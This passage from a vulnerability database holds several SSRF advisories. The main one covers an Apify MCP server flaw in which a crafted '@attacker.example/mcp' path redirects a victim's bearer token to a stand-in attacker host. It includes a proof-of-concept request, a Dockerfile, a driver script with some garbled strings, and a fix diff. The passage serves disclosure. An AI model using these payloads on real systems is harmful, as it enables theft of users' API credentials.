"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50143"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T22:02:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Actor MCP path authority injection leaks Apify token\n\n### Summary\n\n`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim\u0027s `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` header to every outbound connection, the victim\u0027s Apify API token is exfiltrated to the attacker\u0027s server. CVSS Base Score: **8.1 (High)**.\n\n### Details\n\n`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:\n\n```ts\n// src/mcp/actors.ts:44\nreturn `${standbyUrl}${mcpServerPath}`;\n```\n\n`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:\n\n- begin with a `/` (relative path),\n- avoid an `@` character (userinfo/authority injection), or\n- resolve to the same origin as `standbyUrl`.\n\nWhen `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:\n\n```\nhttps://real-actor-id.apify.actor@attacker.example/mcp\n```\n\nNode.js\u0027s WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior \u2014 it is specified by RFC 3986 and the WHATWG URL standard.\n\nThe constructed URL is forwarded to `connectMCPClient()` through three independent code paths:\n\n| Call site | Trigger |\n|---|---|\n| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |\n| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |\n| `src/mcp/server.ts:1047` | actor-mcp type tool loading |\n\n`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim\u0027s Apify token as a bearer credential to every transport type:\n\n```ts\n// src/mcp/client.ts:94 \u2014 SSEClientTransport requestInit\nauthorization: `Bearer ${token}`,\n\n// src/mcp/client.ts:103 \u2014 SSE fetch callback\nheaders.set(\u0027authorization\u0027, `Bearer ${token}`);\n\n// src/mcp/client.ts:124 \u2014 StreamableHTTPClientTransport requestInit\nauthorization: `Bearer ${token}`,\n```\n\nThere is no origin check anywhere between URL construction and the outbound HTTP request.\n\n**Full data-flow chain:**\n\n1. `src/mcp/server.ts:811` \u2014 MCP `tools/call` request parameters are read.\n2. `src/mcp/server.ts:816` \u2014 `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.\n3. `src/tools/core/call_actor_common.ts:489-497` \u2014 attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.\n4. `src/utils/actor.ts:24-28` \u2014 Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.\n5. `src/mcp/actors.ts:14-20` \u2014 `webServerMcpPath` is trimmed and split; first element is returned without path validation.\n6. `src/mcp/actors.ts:44` \u2014 `standbyUrl + mcpServerPath` produces an authority-injected URL.\n7. `connectMCPClient()` is called with the injected URL and the victim\u0027s token.\n8. `src/mcp/client.ts:94/103/124` \u2014 `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` is sent to the attacker\u0027s host.\n\n### PoC\n\n**Environment requirements:**\n\n- Docker (network-isolated container; no external network access needed)\n- The repository at commit `4e2b185` checked out under the build context\n\n**Build and run:**\n\n```bash\n# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)\ndocker build -t vuln-001-poc \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp_38_apify__actors-mcp-server\n\n# Run the exploit (--network none: fully air-gapped)\ndocker run --rm --network none vuln-001-poc\n```\n\nThe Dockerfile:\n1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).\n2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.\n3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.\n4. Runs `exploit.mjs`, which:\n - Starts an HTTPS capture server on `127.0.0.1:31337`.\n - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.\n - Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.\n - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).\n - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.\n\n**Observed output (Phase 2 evidence):**\n\n```\n parsed.hostname : 127.0.0.1\n[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337\n=== STEP 2: attacker HTTPS server received request ===\n Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\n=== RESULT: EXPLOIT SUCCESSFUL ===\n[PROOF] Victim token \"Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\" arrived at attacker server 127.0.0.1:31337\n```\n\n**Alternative MCP request path (real-world scenario):**\n\nA victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = \"@attacker.example/mcp\"`:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"fetch-actor-details\",\n \"arguments\": {\n \"actor\": \"attacker/malicious-mcp\",\n \"output\": { \"mcpTools\": true }\n },\n \"_meta\": { \"mcpSessionId\": \"poc-session\" }\n }\n}\n```\n\nThe attacker\u0027s server at `attacker.example` receives:\n\n```\nAuthorization: Bearer apify_api_victim_token\n```\n\n**URL parser primitive (Node.js REPL verification):**\n\n```\nnode -e \"const u=new URL(\u0027https://ABC.apify.actor@127.0.0.1:31337/mcp\u0027); console.log(u.hostname, u.username)\"\n# Output: 127.0.0.1 ABC.apify.actor\n```\n\n**Recommended fix:**\n\n```diff\n--- a/src/mcp/actors.ts\n+++ b/src/mcp/actors.ts\n export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise\u003cstring\u003e {\n const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);\n- return `${standbyUrl}${mcpServerPath}`;\n+ const url = new URL(mcpServerPath, `${standbyUrl}/`);\n+ if (url.origin !== standbyUrl) {\n+ throw new Error(\u0027Actor MCP server path must resolve under the Actor standby URL\u0027);\n+ }\n+ url.username = \u0027\u0027;\n+ url.password = \u0027\u0027;\n+ return url.toString();\n }\n```\n\n### Impact\n\nAny user of `@apify/actors-mcp-server` who:\n\n1. has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), and\n2. is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,\n\nwill have their **Apify API token silently exfiltrated** to the attacker\u0027s server. The Apify API token grants full access to the victim\u0027s Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim\u0027s side and no code execution on the victim\u0027s machine \u2014 only a crafted Actor definition on the Apify platform.\n\nThis is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client\u0027s outbound connection to an arbitrary host while the client continues to send the victim\u0027s credential.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:24-slim\n\n# \u2500\u2500\u2500 system packages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends openssl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500\u2500 self-signed TLS cert for the attacker capture server (127.0.0.1) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.\nRUN mkdir /certs \u0026\u0026 \\\n openssl req -x509 -newkey rsa:2048 \\\n -keyout /certs/key.pem -out /certs/cert.pem \\\n -days 1 -nodes \\\n -subj \u0027/CN=127.0.0.1\u0027 \\\n -addext \u0027subjectAltName=IP:127.0.0.1\u0027 \\\n 2\u003e/dev/null\n\n# \u2500\u2500\u2500 vulnerable package \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/ ./\n\n# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.\nRUN npm install -g pnpm@11.1.3 --quiet 2\u003e/dev/null\n\n# Install only production deps \u2014 build output not needed; exploit imports from source via tsx.\n# --frozen-lockfile validates the lockfile is up-to-date with package.json.\nRUN pnpm install --frozen-lockfile\n\n# \u2500\u2500\u2500 exploit files \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY vuln-001/exploit.mjs /exploit.mjs\n\n# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.\nENV NODE_EXTRA_CA_CERTS=/certs/cert.pem\n\nCMD [\"node\", \"/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 dynamic PoC driver.\n\nBuilds the Docker image, runs the exploit container, collects observable evidence,\nand writes phase2_result.json with the outcome.\n\"\"\"\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\n# \u2500\u2500\u2500 paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/\nCONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/\nDOCKERFILE = os.path.join(THIS_DIR, \u0027Dockerfile\u0027)\nRESULT_PATH = os.path.join(THIS_DIR, \u0027phase2_result.json\u0027)\nIMAGE_TAG = \u0027vuln-001-poc\u0027\n\nBUILD_CMD = [\u0027docker\u0027, \u0027build\u0027, \u0027-t\u0027, IMAGE_TAG, \u0027-f\u0027, DOCKERFILE, CONTEXT_DIR]\nRUN_CMD = [\u0027docker\u0027, \u0027run\u0027, \u0027--rm\u0027, \u0027--network\u0027, \u0027none\u0027, IMAGE_TAG]\n\n\ndef run(cmd, *, timeout, **kwargs):\n return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)\n\n\ndef write_result(payload: dict):\n with open(RESULT_PATH, \u0027w\u0027) as f:\n json.dump(payload, f, indent=2, ensure_ascii=False)\n print(f\u0027\\n[*] phase2_result.json write complete: {RESULT_PATH}\u0027)\n\n\ndef main():\n print(\u0027=\u0027 * 70)\n print(\u0027VULN-001 dynamic reproduction \u2014 Actor MCP path authority injection\u0027)\n print(\u0027=\u0027 * 70)\n\n # \u2500\u2500 1. Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[1/2] building Docker image...\u0027)\n print(f\u0027 command: {\" \".join(BUILD_CMD)}\u0027)\n build = run(BUILD_CMD, timeout=600)\n if build.returncode != 0:\n msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]\n print(\u0027[!] build failed:\\n\u0027, msg)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027Docker build failed. error: {msg[:500]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: msg[:1000],\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n print(\u0027[+] build succeeded\u0027)\n\n # \u2500\u2500 2. Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[2/2] text while running the container...\u0027)\n print(f\u0027 command: {\" \".join(RUN_CMD)}\u0027)\n try:\n run_result = run(RUN_CMD, timeout=120)\n except subprocess.TimeoutExpired:\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027INCOMPLETE\u0027,\n \u0027reason\u0027: \u0027container execution 120seconds timeout. text text or TLS handshake issuetext can exists.\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n \u0027evidence\u0027: \u0027timeout\u0027,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n stdout = run_result.stdout\n stderr = run_result.stderr\n print(\u0027\\n--- container stdout ---\u0027)\n print(stdout)\n if stderr:\n print(\u0027--- container stderr (text 1000characters) ---\u0027)\n print(stderr[:1000])\n\n # \u2500\u2500 3. result verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n passed = (\n run_result.returncode == 0\n and \u0027attacker HTTPS server received request\u0027 in stdout\n and \u0027EXPLOIT SUCCESSFUL\u0027 in stdout\n and \u0027apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\u0027 in stdout\n )\n\n # Build evidence excerpt (key lines only)\n evidence_lines = [l for l in stdout.splitlines()\n if any(k in l for k in [\u0027PASS\u0027, \u0027PROOF\u0027, \u0027received request\u0027,\n \u0027EXPLOIT\u0027, \u0027parsed.hostname\u0027, \u0027Authorization\u0027])]\n evidence = \u0027\\n\u0027.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]\n\n if passed:\n print(\u0027\\n[\u2713] PASS \u2014 token leak vulnerability dynamic reproduction success\u0027)\n write_result({\n \u0027passed\u0027: True,\n \u0027verdict\u0027: \u0027PASS\u0027,\n \u0027reason\u0027: (\n \u0027Docker container withintext vulnerabilitytext fully reproductiondone. \u0027\n \u0027actors.ts:44text `${standbyUrl}${mcpServerPath}` string text \u0027\n \u0027`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo \u0027\n \u0027`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, \u0027\n \u0027Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo \u0027\n \u0027client.ts:94text `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` headertext attacker HTTPS servertext beforetextdone.\u0027\n ),\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: evidence,\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n else:\n reason_detail = \u0027\u0027\n if run_result.returncode != 0:\n reason_detail = f\u0027container exit code {run_result.returncode}. \u0027\n if \u0027TOKEN_CAPTURED\u0027 not in stdout:\n reason_detail += \u0027attacker serverfrom token capture text textnot not. \u0027\n if \u0027EXPLOIT SUCCESSFUL\u0027 not in stdout:\n reason_detail += \u0027final success message none. \u0027\n\n print(f\u0027\\n[\u2717] FAIL \u2014 {reason_detail}\u0027)\n write_result({\n \u0027passed\u0027: False,\n \u0027verdict\u0027: \u0027FAIL\u0027,\n \u0027reason\u0027: f\u0027failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}\u0027,\n \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n \u0027poc_command\u0027: f\u0027python3 poc.py\u0027,\n \u0027evidence\u0027: stdout[-2000:] + (\u0027\\nSTDERR: \u0027 + stderr[:500] if stderr else \u0027\u0027),\n \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n })\n sys.exit(1)\n\n\nif __name__ == \u0027__main__\u0027:\n main()\n```",
"id": "GHSA-6gr2-qh89-hxwm",
"modified": "2026-07-01T22:02:15Z",
"published": "2026-07-01T22:02:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm"
},
{
"type": "PACKAGE",
"url": "https://github.com/apify/apify-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token"
}
GHSA-6GWW-QPM6-MC2G
Vulnerability from github – Published: 2021-12-02 17:51 – Updated: 2021-11-29 15:08The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ssrf-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23718"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-23T19:15:40Z",
"nvd_published_at": "2021-11-22T17:15:00Z",
"severity": "MODERATE"
},
"details": "The package ssrf-agent before 1.0.5 are vulnerable to Server-side Request Forgery (SSRF) via the defaultIpChecker function. It fails to properly validate if the IP requested is private.",
"id": "GHSA-6gww-qpm6-mc2g",
"modified": "2021-11-29T15:08:38Z",
"published": "2021-12-02T17:51:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23718"
},
{
"type": "WEB",
"url": "https://github.com/welefen/ssrf-agent/commit/9607175acd0647d821bae4e8fcc3b712aca3fd2d#diff-e727e4bdf3657fd1d798edcd6b099d6e092f8573cba266154583a746bba0f346"
},
{
"type": "PACKAGE",
"url": "https://github.com/welefen/ssrf-agent"
},
{
"type": "WEB",
"url": "https://github.com/welefen/ssrf-agent/blob/cec2b85fe8886ad6926a247a3e059d8369ec022b/index.js%23L13"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20211203-0005"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SSRFAGENT-1584362"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in ssrf-agent"
}
GHSA-6H53-JFJ2-FH9C
Vulnerability from github – Published: 2026-08-08 18:30 – Updated: 2026-08-08 18:30Flowise through 3.1.4 contains a server-side request forgery vulnerability in the SSRF guard implemented in httpSecurity.ts, where the DEFAULT_DENY_LIST omits the Oracle Cloud Infrastructure metadata endpoint 192.0.0.192 and the Alibaba Cloud metadata endpoint 100.100.100.200, allowing authenticated attackers to force the server to issue arbitrary GET requests to cloud instance metadata services. Attackers can send requests to the fetch-links API endpoint with a crafted URL parameter, bypassing deny-list validation including redirect-based bypasses, to reach instance metadata services and expose instance identity data and role credentials on Oracle Cloud Infrastructure or Alibaba Cloud deployments, with unauthenticated access possible when URL-fetching nodes exist in public chatflows.
{
"affected": [],
"aliases": [
"CVE-2026-67620"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-08T16:16:49Z",
"severity": "MODERATE"
},
"details": "Flowise through 3.1.4 contains a server-side request forgery vulnerability in the SSRF guard implemented in httpSecurity.ts, where the DEFAULT_DENY_LIST omits the Oracle Cloud Infrastructure metadata endpoint 192.0.0.192 and the Alibaba Cloud metadata endpoint 100.100.100.200, allowing authenticated attackers to force the server to issue arbitrary GET requests to cloud instance metadata services. Attackers can send requests to the fetch-links API endpoint with a crafted URL parameter, bypassing deny-list validation including redirect-based bypasses, to reach instance metadata services and expose instance identity data and role credentials on Oracle Cloud Infrastructure or Alibaba Cloud deployments, with unauthenticated access possible when URL-fetching nodes exist in public chatflows.",
"id": "GHSA-6h53-jfj2-fh9c",
"modified": "2026-08-08T18:30:24Z",
"published": "2026-08-08T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67620"
},
{
"type": "WEB",
"url": "https://flowiseai.com/sunset"
},
{
"type": "WEB",
"url": "https://github.com/abdugafforov-bobur/CVE-2026-67620-poc"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-ssrf-via-fetch-links-endpoint-incomplete-deny-list"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6H8P-4HX9-W66C
Vulnerability from github – Published: 2023-10-21 00:30 – Updated: 2023-11-02 21:07In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langchain"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.329"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32786"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-24T01:36:13Z",
"nvd_published_at": "2023-10-20T22:15:10Z",
"severity": "HIGH"
},
"details": "In Langchain before 0.0.329, prompt injection allows an attacker to force the service to retrieve data from an arbitrary URL, essentially providing SSRF and potentially injecting content into downstream tasks.",
"id": "GHSA-6h8p-4hx9-w66c",
"modified": "2023-11-02T21:07:36Z",
"published": "2023-10-21T00:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32786"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/pull/12747"
},
{
"type": "WEB",
"url": "https://gist.github.com/rharang/d265f46fc3161b31ac2e81db44d662e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/releases/tag/v0.0.329"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langchain Server-Side Request Forgery vulnerability"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.